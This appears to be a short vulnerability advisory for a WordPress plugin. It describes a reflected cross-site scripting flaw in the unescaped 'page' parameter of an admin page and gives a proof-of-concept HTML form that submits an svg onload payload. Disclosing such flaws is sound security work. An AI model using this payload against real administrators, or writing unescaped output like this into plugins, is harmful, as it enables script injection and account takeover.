The plugin does not sanitise and escape the page parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=wpf_search" method="POST">
<input type="hidden" name="page" value='wpf_search"><svg/onload=prompt(/XSS/)>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>